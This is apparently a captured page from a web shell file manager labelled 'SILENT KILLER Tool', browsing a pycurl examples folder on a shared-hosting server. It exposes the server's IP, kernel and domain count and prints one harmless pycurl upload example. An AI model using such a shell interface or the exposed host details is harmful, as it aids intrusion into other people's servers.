Current Path: > > opt > > hc_python > share > doc > pycurl > examples > > quickstart
Operation : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 162.0.232.56 | Your IP: 216.73.216.111 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
__pycache__ | Directory | - | - | |
file_upload_buffer.py | File | 311 bytes | April 04 2025 08:01:39. | |
file_upload_real.py | File | 291 bytes | April 04 2025 08:01:39. | |
file_upload_real_fancy.py | File | 483 bytes | April 04 2025 08:01:39. | |
follow_redirect.py | File | 250 bytes | April 04 2025 08:01:39. | |
form_post.py | File | 564 bytes | April 04 2025 08:01:39. | |
get.py | File | 583 bytes | April 04 2025 08:01:39. | |
get_python2.py | File | 447 bytes | April 04 2025 08:01:39. | |
get_python2_https.py | File | 498 bytes | April 04 2025 08:01:39. | |
get_python3.py | File | 403 bytes | April 04 2025 08:01:39. | |
get_python3_https.py | File | 454 bytes | April 04 2025 08:01:39. | |
put_buffer.py | File | 472 bytes | April 04 2025 08:01:39. | |
put_file.py | File | 300 bytes | April 04 2025 08:01:39. | |
response_headers.py | File | 2097 bytes | April 04 2025 08:01:39. | |
response_info.py | File | 498 bytes | April 04 2025 08:01:39. | |
write_file.py | File | 357 bytes | April 04 2025 08:01:39. |
#! /usr/bin/env python # -*- coding: utf-8 -*- # vi:ts=4:et import pycurl c = pycurl.Curl() c.setopt(c.URL, 'https://httpbin.org/post') c.setopt(c.HTTPPOST, [ ('fileupload', ( c.FORM_BUFFER, 'readme.txt', c.FORM_BUFFERPTR, 'This is a fancy readme file', )), ]) c.perform() c.close()
SILENT KILLER Tool